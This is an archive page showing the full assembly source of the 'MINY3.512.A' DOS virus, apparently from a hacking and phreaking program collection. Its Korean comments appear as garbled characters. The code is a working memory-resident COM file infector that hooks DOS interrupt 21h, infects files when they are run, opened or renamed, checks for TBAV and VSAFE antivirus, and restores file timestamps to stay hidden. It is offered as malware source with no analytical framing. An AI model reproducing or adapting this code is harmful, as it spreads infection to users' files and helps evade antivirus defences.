home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
KOREACOL.ZIP
/
MINY.ZIP
/
MINY3.ZIP
/
MY3-512.ASM
< prev
next >
Wrap
Assembly Source File
|
1996-08-12
|
10KB
|
316 lines
;******************************************************************************
;
; MINY3.512.A Virus
;
; ╣A╕b: ¼ß╢ë ña╖í£ß»a ╡e╨s ╣A╕b: 1995æe 02╢⌐ 28╖⌐
; Seoul Virus Society
;
;******************************************************************************
VIRUS SEGMENT PARA 'VIRUS'
ASSUME CS:VIRUS, DS:VIRUS
Entry: mov SI,100h ; BP=ña╖í£ß»a »í╕b ║ü¡íêt
NOP
JMP ChkVirinMEM ; £æ ¼w║ü ╠a╦a¥í ╕±╧a
NOP
NewInt21: ; ¼ü¥í╢à 21h ñσ ╖Ñ╚ߣ≤╦a
PushF
NOP
cmp ah,4Bh ; »⌐╨ù╖Ñêa?
NOP
jz InfectFile ; ╠a╖⌐ êq╡q ╤í┬ë
ChkAH: cmp ah,3Dh ; ╡í╧e ╖Ñêa?
jz InfectFile
cmp ah,43h ; ¡ó¼≈
jz InfectFile
cmp ah,56h ; ╠a╖⌐ ╖íƒq ñaÄüïí
jz InfectFile
cmp ah,6Ch ; 5.0 ╡A¼ß ªü╚ß ┬üêaûE ╡í╧e
jz InfectFile
cmp ah,41h
jz InfectFile
ChkAHF0: cmp AX,0F036h ; £æ ¼w║ü ╡aªü ê±¼a╖Ñêa?
jnz OrgInt21
PopF
xor ax,ax ; áx╖aíe 0000╖i ò⌐¥a║æ
IRET
OrgInt21: ; ╢Ñ£ü int 21¥í ╕±╧a
NOP
PopF
db 0EAh
OldInt21 dd ?
C_OldInt21:
NOP
xchg ah,al
PushF
call dword ptr CS:[OldInt21]
RET
;------------------------------------------------------------------
;
InfectFile:
Push AX ; ¥A╗í»a╚ß ╕ß╕w
Push BX
Push CX
Push DX
Push DS
Push ES
Push SI
Push DI
NOP
cmp ah,6ch ; ¼ü¥í╢à ╡í╧e ñw»ó╖Ñêa?
NOP
jz Chk_EXTisCOM
mov si,dx ; SI= ╠a╖⌐ »í╕b╢ß├í
Chk_EXTisCOM:
lodsb ; DS:[SI] -> AL
cmp al,00 ; ╠a╖⌐ Å{╖Ñêa?
jz JumpExit
cmp al,'V' ; ╠a╖⌐ ╖íƒq╡A V ╕a ╖╢ôeê⌡ ╣A╢A
jz JumpExit
cmp al,'.' ; ╤┬╕w╕a èüÑi?
jnz Chk_EXTisCOM
lodsw
cmp ax,'OC'
jnz JumpExit
lodsb
cmp al,'M'
jz SetInt24h
JumpExit:
Jmp PopRES ; COM ╖í ┤aôííe ╣A╢A
SetInt24h:
mov bx,ds ; Int 24h ƒi └a╗í╨eöa.
xor ax,ax
mov ds,ax
Push DS:[0090h]
Push DS:[0092h]
mov word ptr DS:[0090h],offset NewInt24
mov word ptr DS:[0092h],cs
mov ds,bx
mov ax,0043h ; ¡ó¼≈ ┤Φïí
call C_OldInt21
Push CX
Push DX
Push DS
MOV AX,0143h ; ╖¬ïí/│aïí ¡ó¼≈╖a¥í ñaÄæ
xor cx,cx
call C_OldInt21
jnc Open_File
J_SET: JMP SetOrgAttr
Open_File:
NOP
mov ax,023dh ; ╠a╖⌐ ╡í╧e ╨aïí
call C_OldInt21
jc J_SET
push cs
pop ds
Push cs
pop es
xchg bx,ax ; ╨àùi ┤Φïí
Read_File:
mov ah,3Fh ; ╖¬┤ß ùi╖íïí
mov dx,offset Org4bytes
mov si,dx
mov cx,0004h
int 21h
ChkEXEFile:
mov AX,word ptr DS:[SI] ; EXE ╠a╖⌐╖Ñ╗í ê±¼a
cmp AX,'ZM' ; 'MZ'
jz Close_File
cmp ax,'MZ' ; 'ZM'
jz Close_file
ChkFSize:
mov al,byte ptr ds:[SI+3] ; êq╡q ╡aªü ╤┬╖Ñ
xor al,36h
cmp Al,ds:[SI+2]
jz Close_File
mov di,offset V3_Str ; V3 ╖Ñ╗í ê±¼a
mov cx,0004
repz cmpsb
jz Close_file
mov al,02h ; ╠a╖⌐╖ü ╣A╖⌐ ûߥí
call AH42h
cmp ax,1234 ; 1234 Ñíöa ╕b╖eêa?
jb Close_File
cmp ax,63210 ; 64321 Ñíöa ╟eêa?
ja Close_File
Push AX ; ╢ß├í╗í╕≈
add AX,0100h
mov word ptr DS:[Entry+1],AX
Pop AX
sub ax,0003
mov word ptr ds:[FileHead+1],ax
mov al,byte ptr ds:[FileHead+2] ; êq╡q ╡aªü
xor al,036h
mov byte ptr ds:[FileHead+3],al
mov ax,5700h ; Éi╝a/»íêe ┤Φïí
Int 21h
Push CX
Push DX
mov al,40h ; ña╖í£ß»a │aïí
xor dx,dx
mov cx, offset End_Virus
call C_OldInt21
mov al,00h ; ╠a╖⌐╖ü └ß╖q╖a¥í ╖íò╖
call AH42h
mov al,40h ; ña╖í£ß»a │aïí
mov dx, offset FileHead
mov cx,0004h
call C_OldInt21
Pop dx ; ╢Ñ£ü Éi╝a¥í ñaÄüïí
Pop CX
mov ax,5701h
Int 21h
Close_File: ; ╠a╖⌐ öhïí
mov ah,3eh
Int 21h
SetOrgAttr:
Pop DS ; ╢Ñ£ü ¡ó¼≈╖a¥í ñaÄüïí
Pop DX
pop CX
mov ax,0143h
Call C_OldInt21
xor ax,ax ; Int 24h Ñóèü
mov ds,ax
POP DS:[0092h]
POP DS:[0090h]
PopRES:
Pop DI ; ╢Ñ£ü ¥A╗í»a╚ß Ñóèü
Pop si
Pop ES
Pop ds
Pop dx
Pop cx
Pop bx
Pop ax
Jmp OrgInt21
;-------------------------------------------------------------------
; £æ ¼w║ü ªüªà
; òí»a╖ü ┬A¼w╢ß╡A ¼w║ü╨eöa.
ChkVirinMEM:
xor AX,AX ; F-PROT ╖ü ╗Ñöe ïíôw╖i
A_F: nop ; óü¥b╤┴»í╟Ñöa.
inc AX
NOp
cmp AX,1111h
jnz A_F
NOP
mov dx,si
mov ax,3521h ; ES:BX
NOP
Int 21h
cmp word ptr ES:[000Ah],'BT' ; ES:000A ╡A TBDRVX êa ╖╢╖aíe
jnz ChkVSAFE ; TBAV ╡üñw╢w╖í ╖╢ôeê⌡╖íöa.
cmp word ptr ES:[000Ch],'RD'
jz Already_MEM ; £æ╡A TBAV êa ╣Ñ╕ü╨eöa.
ChkVSAFE:
cmp byte ptr ES:[BX],0EAh ; £æ╡A VSAFE êa ╣Ñ╕ü╨eöa.
jnz ChkVirinM
cmp word ptr ES:[BX+5],80FBh ;
jnz ChkVirinM
jmp Already_MEM
ChkVirinM:
mov ax,36F0h ; AX=F035h/Int 21hȒ
xchg ah,al ;
Int 21h ;
or ax,ax ;
jz Already_MEM ; £æ╡A ╣Ñ╕ü╨aôeêa?
mov word ptr DS:[OldInt21+SI],BX ; Int 21h ║ü¡í ╕ß╕w
Mov word ptr DS:[OldInt21+2+SI],ES
NOP
NOP
Push cs
Pop AX
mov CX,(offset Tend_virus - SEGORG +15 ) SHR 4 ;└a╗í╨i £æ ╟aïí
dec ax
NOP
mov ds,ax ; MCB (Memory Control Block)
mov BX,0001
NOP
cmp byte ptr DS:[BX-1],'Z' ; áa╗íáb ºi£Γ╖Ñêa?
jnz Already_MEM
NOP
sub word ptr DS:[BX+02],CX ; áa╗íáb ¡Aïaáσ╦a ëü¼e
NOP
sub word ptr DS:[BX+11h],CX ; òí»aêa ¼a╢w╨i ╢w£╖ ║ë╖▒
NOP
mov ES,word ptr DS:[BX+11h] ;
NOP
Push cs ; CS=DS
Pop ds
mov si,DX ; ña╖í£ß»a Ñó¼a
xor di,di ; IP=0000 ªü╚ß ╣Ñ╕ü╨eöa.
mov cx, offset TEnd_Virus ; ña╖í£ß»a ï⌐╖í
NOP
repz movsb ; Ñó¼a
NOP
mov ds,cx ; CX=0000
cli ;
mov word ptr ds:[BX+85h],es ; BX=0001
mov word ptr ds:[BX+83h],offset NewInt21
sti
Already_Mem:
mov si,DX ; SI ôe ña╖í£ß»a »í╕b╢ß├í
push cs ; cs=ds
pop ds
push cs ; ds=es
pop es
Re_COM: ; COM ╠a╖⌐ »⌐╨ù╨aïí
add si,offset Org4bytes ; ╢Ñ£ü òA╖í╚ß╖ü êt èü╨aïí
mov di,00FFh
Inc di ; └ß╖q╖ü 4 ña╖í╦a Ñóèü
push di
movsw
movsw
xor ax,ax
RET ; »a╚é╡A 100h êa ╕ß╕w
Org4bytes db 90h,90h,0cdh,20h ; ╢Ñ£ü 4 ña╖í╦a╖ü êt
Ah42h: xor dx,dx
xor cx,cx
mov ah,42h
Int 21h
RET
NewInt24: ; ╡A£ßêa Éa╗í ┤gëA╨eöa.
XOR AL,AL
IRET
db '[Miny3]' ; ña╖í£ß»a ╖íƒq
V3_Str db 0EBh,13h,73h,43h ; V3 ╠a╖⌐ ╕a₧a
FileHead db 0E9h
End_VIRUS:
db ?,?,?
TEnd_VIRUS:
Virus EndS
End Entry